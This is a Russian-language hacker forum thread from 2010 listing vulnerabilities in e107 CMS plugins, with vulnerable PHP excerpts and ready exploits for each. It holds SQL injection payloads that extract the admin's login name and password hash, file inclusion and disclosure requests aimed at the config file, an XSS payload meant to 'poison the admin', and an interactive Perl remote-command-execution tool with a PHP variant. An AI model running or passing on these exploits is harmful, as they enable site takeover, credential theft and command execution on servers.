RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Уязвимости e107 CMS и плагинов (https://rdot.org/forum/showthread.php?t=67)

RulleR 05.07.2010 12:13

Уязвимости e107 CMS и плагинов
 
Plugin name: Ajax Chat (download)
Version: 1.1

SQL injection

Vuln file: /e107_plugins/ajax_chat/w.php
PHP код:

/*...*/
    
require_once("../../class2.php");
/*...*/
    
$msg $_REQUEST["m"];
    
$msg htmlspecialchars(stripslashes($msg));

    
$n $_REQUEST["n"];
    
$n htmlspecialchars(stripslashes($n));
/*...*/
$sql->mySQLresult = @mysql_query("SELECT user_id FROM ".MPREFIX."user WHERE user_name='".$n."' ");

        
$capt $sql->db_Fetch();
        
        
$theid =$capt['user_id'];
/*...*/        
$n "<strong>&lt;<a style=\"text-decoration: none;\" href='../../user.php?id.".$theid."'>".$n."</a>&gt;</strong>";
/*...*/

# file: /class2.php

/*...*/
$inArray = array("'"";""/**/""/UNION/""/SELECT/""AS ");
if (
strpos($_SERVER['PHP_SELF'], "trackback") === false) {
    foreach(
$inArray as $res) {
        if(
stristr($_SERVER['QUERY_STRING'], $res)) {
            die(
"Access denied.");
        }
    }
}
/*...*/ 

Передаем параметр "n" постом, чтобы "хакерские слова" не попали в QUERY_STRING

Exploit:
Код:

POST http://[host]/[path]/e107_plugins/ajax_chat/w.php?m=xek HTTP/1.0
Content-type: application/x-www-form-urlencoded

n=' union select concat_ws(0x3a,user_loginname,user_password) from e107_user where user_id=1--

Note: Вывод наблюдаем по адресу http://[host]/[path]/e107_plugins/ajax_chat/chat.txt
Код:

<strong>&lt;<a style="text-decoration: none;" href='../../user.php?id.{user_loginname:user_password}'>

RulleR 05.07.2010 12:17

e107 Plugin [e107shop] Local File Inclusion Vulnerability
 
Plugin name: e107shop (download)
Version: 1.2.19

Local File Inclusion

Vuln file: /e107_plugins/e107shop/payment.php
PHP код:

<?php
/*...*/
$checkout .= e107shop_payment_forms($_POST["payment"], $grandTotal$_POST["customer_name"], $_POST["customer_last_name"], 
$_POST["customer_city"], $_POST["customer_state"], $_POST["customer_country"], $_POST["region"], 
$postage_price$_POST["customer_zip"], $_POST["customer_address1"] . "<br>" $_POST["customer_address2"], 
$_POST["customer_email"], $_POST["coupon"]);
/*...*/

# file: /e107_plugins/e107shop/library/payment_class.php

/*...*/
function e107shop_payment_forms($gateway$total$fname$lname$city
$state$country$region$postage$zip$address$email$coupon){
/*...*/
    // security traps
    
$gateway $tp->toDB($gateway);
/*...*/
    
$payment_text = require("gateways/".$gateway);
/*...*/

# file: /e107_handlers/e_parse_class.php

/*...*/
    
function toDB($data$nostrip false$no_encode false$mod false)
    {
        global 
$pref;
        if (
is_array($data)) {
            
// recursively run toDB (for arrays)
            
foreach ($data as $key => $var) {
                
$ret[$key] = $this -> toDB($var$nostrip$no_encode$mod);
            }
        } else {
            if (
MAGIC_QUOTES_GPC == TRUE && $nostrip == false) {
                
$data stripslashes($data);
            }
            if(isset(
$pref['post_html']) && check_class($pref['post_html']))
            {
                
$no_encode TRUE;
            }
            if (
$no_encode === TRUE && $mod != 'no_html')
            {
                
$search = array('$''"'"'"'\\''<?');
                
$replace = array('$','&quot;',''', '\', '&lt;?');
                $ret = str_replace($search, $replace, $data);
            } else {
                $data = htmlspecialchars($data, ENT_QUOTES, CHARSET);
                $data = str_replace('
\\', '\', $data);
                $ret = preg_replace("/&amp;#(\d*?);/", "&#\\1;", $data);
            }

            if(!check_class($pref['
php_bbcode']))
            {
                $ret = preg_replace("#\[(php)#i", "[\\1", $ret);
/*...*/
        return $ret;
    }
/*...*/

Exploit:
Код:

POST http://[host]/[path]/e107_plugins/e107shop/checkout.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded

payment=../../../../../[local_file]&pay=Proceed


RulleR 05.07.2010 12:19

e107 Plugin [Youtube Gallery] Blind SQL injection Vulnerability
 
Plugin name: Youtube Gallery (download)
Version: 4.01

Blind SQL injection

Vuln file: /e107_plugins/ytm_gallery/db.php
PHP код:

/*...*/
header("Cache-Control: no-cache");
header("Pragma: nocache");
require_once(
"../../class2.php");
/*...*/
$id_sent $_REQUEST['q'];
/*...*/
$query mysql_query("SELECT total_votes, total_value, used_ips FROM $rating_dbname.$rating_tableName WHERE id='$id_sent' ")or die(" Error: ".mysql_error());
/*...*/ 

Need: magic_quotes = off
Exploit:
Код:

POST http://[host]/[path]/e107_plugins/ytm_gallery/db.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

q=' and (select+*+from+(select+count(*),concat((select concat_ws(0x3a,user_loginname,user_password) from e107_user where user_id=1),floor(rand(0)*2)) from e107_links group by 2)x)--


RulleR 05.07.2010 12:22

e107 Plugin [Alternate Profiles] File Disclosure Vulnerability
 
Plugin name: Alternate Profiles (download)
Version: 0.3

File Disclosure

Vuln file: /e107_plugins/alternate_profiles/stream.php
PHP код:

<?php 
ob_start
();
header("Expires: Mon, 20 Dec 1977 00:00:00 GMT");
header("Last-Modified: " gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0"false);
header("Pragma: no-cache");
header("Content-Type: audio/mpeg");
@
readfile($_GET["file"]);// ololo
ob_end_flush();
?>

Exploit:
Код:

http://[host]/[path]/e107_plugins/alternate_profiles/stream.php?file=../../e107_config.php

RulleR 05.07.2010 12:26

e107 Plugin [Torrent Tracker] SQL injection Vulnerability
 
Plugin name: Torrent Tracker (download)
Version: 1.06b4

SQL injection

Vuln file: /e107_plugins/tracker_menu/users.php
PHP код:

/*...*/
elseif($_GET["cntr"] == "info" || $_GET["cntr"] == "edit") {
if(
$_GET["uid"]) {
    
$uid $_GET["uid"];
    
$uname $e_users[0][$uid];
}
/*...*/
$numuser $sql -> db_Select("tracker_users""user_id,level,up,dl,passkey,actdate,lastdate,tentorr,lastipport""user_id = ".$uid);
/*...*/ 

Need: user account
Exploit:
Код:

http://[host]/[path]/e107_plugins/tracker_menu/users.php?cntr=info&uid=0+union+select+null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null,null+from+e107_user+where+user_id=1--+

RulleR 05.07.2010 12:31

e107 Plugin [Kroozearcade] SQL injection Vulnerability
 
Plugin name: Kroozearcade (download)
Version: 8.0

SQL injection

#1
Vuln file: /e107_plugins/kroozearcade_menu/challenges.php
PHP код:

/*...*/
if (isset($_GET['details'])) {
$sql->mySQLresult = @mysql_query("SELECT * FROM ".MPREFIX."arcade_challenges WHERE id=".$_GET['details']."");
$row $sql->db_Fetch();
/*...*/ 

Need: user account
Exploit:
Код:

http://[host]/[path]/e107_plugins/kroozearcade_menu/challenges.php?details=0+union+select+null,null,null,null,null,null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null+from+e107_user+where+user_id=1
#2
Vuln file: /e107_plugins/kroozearcade_menu/fav.php
PHP код:

/*...*/
if(isset($_GET['confirm'])) {
    
$sql->mySQLresult = @mysql_query("SELECT game_title FROM ".MPREFIX."arcade_games WHERE game_id=".$_GET['gameid']."");
    
$conf $sql->db_Rows();
/*...*/ 

Need: user account
Exploit:
Код:

http://[host]/[path]/e107_plugins/kroozearcade_menu/fav.php?confirm=xek&gameid=0+union+select+concat_ws(0x3a,user_loginname,user_password)+from+e107_user+where+user_id=1

RulleR 05.07.2010 12:33

e107 Plugin [e107_netquery] SQL injection Vulnerability
 
Plugin name: e107_netquery (download)
Version: 1.0

SQL injection

Vuln file: /e107_plugins/netquery/portlist.php
PHP код:

/*...*/
require_once("../../class2.php");
/*...*/
$portnum = (isset($_REQUEST['portnum'])) ? $_REQUEST['portnum'] : '80';
/*...*/
$query "SELECT * FROM ".MPREFIX."nq_ports WHERE flag < '99' AND port = '".$portnum."' ";
/*...*/ 

Need: magic_quotes = off
Exploit:
Код:

POST http://[host]/[path]/e107_plugins/netquery/portlist.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

portnum=' union select 1,null,concat_ws(0x3a,user_loginname,user_password),null,null,null from e107_user where user_id=1--


RulleR 05.07.2010 12:35

e107 Plugin [aa_meetings] SQL injection Vulnerability
 
Plugin name: aa_meetings (download)
Version: 1.1

SQL injection

Vuln file: /e107_plugins/aa_meetings/directory.php
PHP код:

/*...*/
if (($_GET['Day_qf'] && $_GET['City_qf']) || $_GET['Search_qf']) {

    
// Create the SQL select statement for the meetings
    
$query "select t1.*, concat_ws(\"@\", left(t1.Day, 3), date_format(t1.Time, \"%l:%i %p\")) as `MeetingTime`, (select group_concat(ta.Type separator \"/\") from e107_aam_mtg_Types as ta where ta.MeetingID=t1.MeetingID) as `MeetingType` from e107_aam_meetings as t1 left join e107_aam_mtg_Types as t2 on t1.MeetingID=t2.MeetingID where 1";
/*...*/
    
if ($_GET['City_qf']) $query .= " and t1.City=\"".urldecode($_GET['City_qf'])."\"";
/*...*/
    
$result mysql_query ($query);
/*...*/ 

Exploit:
Код:

http://[host]/[path]/e107_plugins/aa_meetings/directory.php?Day_qf=xek&City_qf=%2522+union+select+null,null,null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null,null,null,null,null,null,null+from+e107_user+where+user_id=1--+

Pashkela 05.07.2010 21:47

e107 <= 0.7.20 remote code execute
 
e107 <= 0.7.20 remote code execute

Допилено из:

http://downloads.securityfocus.com/v...loits/40252.pl

Код:

use LWP::UserAgent;
my $path = $ARGV[0] or die("Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n");
sub char_p($) {
        $str1=$_[0];
        $aa="";$bb="";
        for ($i = 0; $i<length($str1); $i++ ) {
            $aa =  ord(substr($str1,$i,1));
            if ( $i == 0 ) {$bb= "chr(" . $aa . ")";} else { $bb= $bb. ".chr(" . $aa . ")" ;}
        }
        return "$bb";
}
go();
sub go
{
  while (1){
    print "Enter command - passthru(.....):\n";
    $choice = <STDIN>;
    chomp $choice;
    print "--------------------\n";
    print "Command: passthru($choice)\n";
    print "--------------------\n";
    $choice1 = char_p ($choice);
    my $load = "passthru($choice1)"; # Simple 'id' command. Put ur PHP payload here! :)
    # Remove comment for proxy support
    #my $proxy = 'http://127.0.0.1:8118/';
    #$ENV{http_proxy} = $proxy ? $proxy: 0;
    $ua = new LWP::UserAgent;
    $ua->agent("Mozilla/5.0");
    if ( $proxy ){
      print "[*] Using proxy $proxy \n";
      $ua->env_proxy('1');
    }
    my $req = new HTTP::Request POST => $path;
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D");
    my $res = $ua->request($req);
    my $data = $res->as_string;
    if ( $data =~ /<td class=["']main_section['"]>(.*)/ ){
      $data = $1;
      print "$data\n";
      print "--------------------\n";
      print "done: passthru($choice)\n";
      print "--------------------\n";
    }else{
      print "$data\n";
      print "--------------------\n";
      print "done: passthru($choice)\n";
      print "--------------------\n";
    }
  }
}

Т.е. просто вводите например ls -la и видите результат, если не сработало - тогда юзаем сплойт ниже (или сразу его, чтобы проверить сначала), смотрим phpinfo() и видим disabled functions (на крутых сайтах постоянно встречается), думаем, что можно сделать с помощью php-кода:

PHP код:

<?
$url 
"http://site.com/contact.php";
$parse_url parse_url($url);
$path $parse_url["path"];
$host$parse_url["host"];
$code ='phpinfo();'#<=== Ваш php-код здесь
$data1 '[ php ]'.$code.'die();[ /php ]'#<=== В этой строчке удалите все пробелы
$data "send-contactus=1&author_name=send-contactus=1&author_name=".urlencode($data1);
$fp fsockopen($host80$errno$errstr30); 
if (
$fp){ 
  
$out "POST ".$path." HTTP/1.1\n"
  
$out .= "Host: ".$host."\n"
  
$out .= "Referer: ".$url."/\n"
  
$out .= "User-Agent: Opera\n"
  
$out .= "Content-Type: application/x-www-form-urlencoded\n"
  
$out .= "Content-Length: ".strlen($data)."\n\n"
  
$out .= $data."\n\n"
  
fputs($fp$out);
  while(
$gets=fgets($fp,2048)) { 
    print 
$gets
  } 
  
fclose($fp); 
}
?>

обычно доступны на запись:

/e107_files/public
/e107_files/public/avatars
/e107_files/cache

PS: Примечание - в некоторых случаях команды с пробелами вообще не работают, т.е. для первого варианта кода лучше юзать просто ls для начала

Strilo4ka 06.07.2010 13:27

Reputation v1.1

23:34 05-Feb-10

Blind SQL inj

Vuln file: /e107_plugins/reputation/reputation.php

PHP код:

...if($pref['reputation_show']) {
    if(
$_GET['list']) {
    
$user get_user_data($_GET['list']);

    
$repdb = new db();
    
$repdb->db_Connect($mySQLserver$mySQLuser$mySQLpassword$mySQLdefaultdb);

    
$repdb->db_Select("reputation""reputation_value""reputation_to_id='".$_GET['list']."'");

    while(
$trr $repdb->db_Fetch()) {
        
$total_rep $total_rep $trr['reputation_value'];
    }... 

У меня 5 мускуль.

Result:
http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=5
общая репа выводиться!

http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=4
общая репа не выводиться!

условие:
mg=off

пасивная XSS
- травим админа!

/e107_plugins/reputation/reputation.php
PHP код:

...<div style='margin: 4px; padding: 4px; border: 1px solid red; text-align: center;'>
                                            <
input type='hidden' name='repto' value='".$user['user_id']."' />
                                            <
input type='hidden' name='url' value='".$_POST["url_p"]."' />
                                            <
input type='hidden' name='repfrom' value='".USERID."' />
                                            <
input type='hidden' name='rand_num' value='".$sec_img->random_number."' />".$sec_img->r_image()."
                                            
<br />... 

http://[host]/[path]/e107_plugins/reputation/reputation.php?add=anything
постом шлем url_p=' /><script>alert(/XSS/)</script>

Там дальше может блинд есть в инсерте, только толку от него когда нет вывода ошибки.

ps CMS e107 http://[host]/[path]/comment.php - у меня пути были.


Часовой пояс GMT +3, время: 15:47.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot